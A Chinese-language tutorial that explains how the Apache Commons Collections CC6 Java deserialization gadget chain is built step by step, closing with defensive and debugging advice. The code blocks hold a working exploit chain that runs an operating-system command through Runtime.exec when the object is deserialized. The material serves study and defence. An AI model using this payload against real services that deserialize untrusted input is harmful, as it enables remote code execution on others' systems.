java安全:从发现者角度解析CC6链构造过程
字数 1237 2025-08-29 22:41:38
Java反序列化漏洞:CC6链构造过程详解
1. CC6链概述
CC6链是Apache Commons Collections反序列化漏洞利用链的一种变体,它基于CC1链进行改进,主要解决了CC1链在高版本Java中的限制问题。CC6链的核心在于利用TiedMapEntry类和HashMap的反序列化过程来触发恶意代码执行。
2. 关键类与原理
2.1 核心类分析
- HashMap:在反序列化时会调用
readObject方法,该方法会调用键对象的hashCode方法 - TiedMapEntry:该类有一个
hashCode方法,在方法中会调用getValue,进而调用map.get(key) - LazyMap:与CC1相同,当调用
get方法时,如果没有对应的键,会调用Transformer链
2.2 触发流程
- HashMap反序列化时调用
readObject readObject调用键对象的hashCode方法- 如果键是
TiedMapEntry,则调用其hashCode方法 TiedMapEntry.hashCode()调用getValue()getValue()调用map.get(key)- 如果map是LazyMap且key不存在,则触发Transformer链
3. 构造过程详解
3.1 基础构造(有问题的版本)
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}),
};
final ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
final HashMap<Object, Object> map = new HashMap<>();
map.put("value","xxx");
final Map lazymap = LazyMap.decorate(map, chainedTransformer);
final TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
serialize(map2);
问题:在map2.put时就触发了命令执行,因为put操作会立即调用hashCode
3.2 改进版本(延迟触发)
// 同样的Transformer数组
final ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
final HashMap<Object, Object> map = new HashMap<>();
map.put("value","xxx");
// 关键修改:先使用无害的ConstantTransformer
final Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
final TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
// 通过反射替换为恶意Transformer
Class lazymapClass = LazyMap.class;
final Field factory = lazymapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, chainedTransformer);
serialize(map2);
问题:反序列化时没有触发,因为lazymap中已经有了"aaa"键
3.3 最终正确版本
// Transformer数组同上
final ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
final HashMap<Object, Object> map = new HashMap<>();
map.put("value","xxx");
// 使用无害Transformer初始化
final Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
final TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
// 关键修复:移除"aaa"键,确保后续get会触发Transformer
lazymap.remove("aaa");
// 反射替换为恶意Transformer
Class lazymapClass = LazyMap.class;
final Field factory = lazymapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, chainedTransformer);
serialize(map2);
Deserialize("cc6.ser");
4. 关键点总结
- 延迟触发机制:使用无害的
ConstantTransformer初始化,避免put时立即执行 - 反射修改:通过反射在对象构造完成后替换为恶意Transformer
- 键清理:必须移除测试时使用的键,确保反序列化时
get会触发Transformer链 - 触发顺序:
- HashMap反序列化 → hashCode调用
- TiedMapEntry.hashCode → getValue → map.get
- LazyMap.get → Transformer链执行
5. 防御建议
- 升级Apache Commons Collections到最新安全版本
- 使用Java反序列化过滤器(ObjectInputFilter)
- 避免反序列化不可信数据
- 考虑使用替代的序列化格式(如JSON)
6. 调试技巧
- 在
put操作前后检查lazymap的内容 - 跟踪
hashCode和get方法的调用栈 - 使用条件断点检查Transformer的替换过程
- 验证反序列化时的键是否存在
通过这种构造方式,CC6链成功绕过了高版本Java中对CC1链的限制,展示了反序列化漏洞利用的灵活性。理解这种构造过程对于防御类似的攻击模式具有重要意义。